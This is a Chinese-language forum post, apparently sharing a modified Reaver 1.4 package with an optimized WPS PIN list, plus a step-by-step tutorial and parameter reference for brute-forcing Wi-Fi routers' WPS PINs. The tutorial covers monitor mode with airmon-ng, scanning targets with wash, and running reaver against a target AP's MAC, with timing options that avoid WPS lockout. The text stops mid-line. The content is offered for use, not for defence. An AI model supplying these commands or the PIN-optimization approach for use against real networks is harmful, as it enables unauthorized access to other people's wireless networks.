Reaver1.4+PIN.doc

我不说多少分钟PJ一个PIN，4位数一万行，你知道是那一行数字是你的PIN！跟据随机数4位码出现率优化了三千行，让这个更有可能在短时间内PJ开PIN码，并增加存在“”已知被PJ的PIN在前面。先破已知的PIN再破优化的PIN。Reaver1.4+PIN优化版.rar(827.16 KB, 下载次数: 1455)注：文件包面有带安装说明收集PIN码MAC to PIN Inquiry：/进入点击“Increase you know PIN code ”可以增加你知道的MAC 和对应的PIN码。reaver 1.4 教程1 查看网卡加载端口2 ifconfig3 监视网卡4 airmon-ng start wlan05 解压reaver文件6 tar zxvf reaver文件7 安装reaver8 cd reaver9 ./config10 make install11 make all12 查看支持WPS的AP13 wash -i mon0 -C14 攻击AP15 reaver -i mon0 -b 目标APMAC地址 -a -S -n -v16 建议增加 -d 3 -t 3参数，防止路由WPS被跑死，导致穷举中止。17 reaver -i mon0 -b 目标APMAC地址 -a -S -n -v -d 3 -t 318 进长保存地址19 /usr/local/etc/reaver/MAC地址.wpc2021 关机22 shutdown -q 0复制代码wash参数23 必选:24 -i, -interface= 网卡接口25 -f, -file 文件1 文件2 文件3 . 阅读来自抓取的小包文件26 可选:27 -c, -channel= 监听频道28 -o, -out-file= 对文件写数据29 -n, -probes= 最大值探测发送到每个扫描的AP 1530 -D, -daemonize 守护wash进程31 -C, -ignore-fcs 忽略错误32 -5, -5ghz 使用 5GHz 802.11 频道33 -s, -scan 使用扫描模试34 -u, -survey 使用调查 default35 -h, -help 显示帮助36 例子:37 wash -i mon0复制代码reaver参数38 必选参数:39 -i, -interface= 监视模式接口使用的名称40 -b, -bssid= 目标AP的MAC41 可选参数：42 -m, -mac= 主机网卡的MAC43 -e, -essid= 目标AP的ESSID名称44 -c, -channel= 设置接口的802.11信道 (意味着 -f)45 -o, -out-file= 输出发送到一个日志文件 stdout46 -s, -session= 恢复以前的记录文件47 -C, -exec= 所提供的命令执行成功后，pin 恢复48 -D, -daemonize 守护进程 reaver49 -a, -auto 自动检测目标AP的最先进的选项50 -f, -fixed 禁用信道跳频51 -5, -5ghz 使用5GHz的802.11信道52 -v, -verbose 显示非关键的警告（-VV更多）53 -q, -quiet 仅显示重要消息54 -h, -help 显示帮助55 高级选项：56 -p, -pin= 使用指定的4个或8个的 pin WPS57 -d, -delay= 设置pin尝试之间的延迟158 -l, -lock-delay= 设置等待的时间，如果AP锁定WPS PIN尝试6059 -g, -max-attempts= 退出后NUM pin尝试60 -x, -fail-wait= 设定时间后进入休眠100 /意外故障61 -r, -recurring-delay= 对每一个pin码尝试Y秒62 -t, -timeout= 设置接收超时时间563 -T, -m57-timeout= 设置M5/M7超时期0.2064 -A, -no-associate 不要与AP关联（协会必须由另一个应用程序进行）65 -N, -no-nacks 超时的的顺序接收数据包时，不要发送NACK消息66 -S, -dh-small 使用小DH密钥，以提高PJ速度67 -L, -ignore-locks 忽略锁定状态的目标AP68 -E, -eap-terminate 终止每一个EAP失败包WPS的记录69 -n, -nack 目标A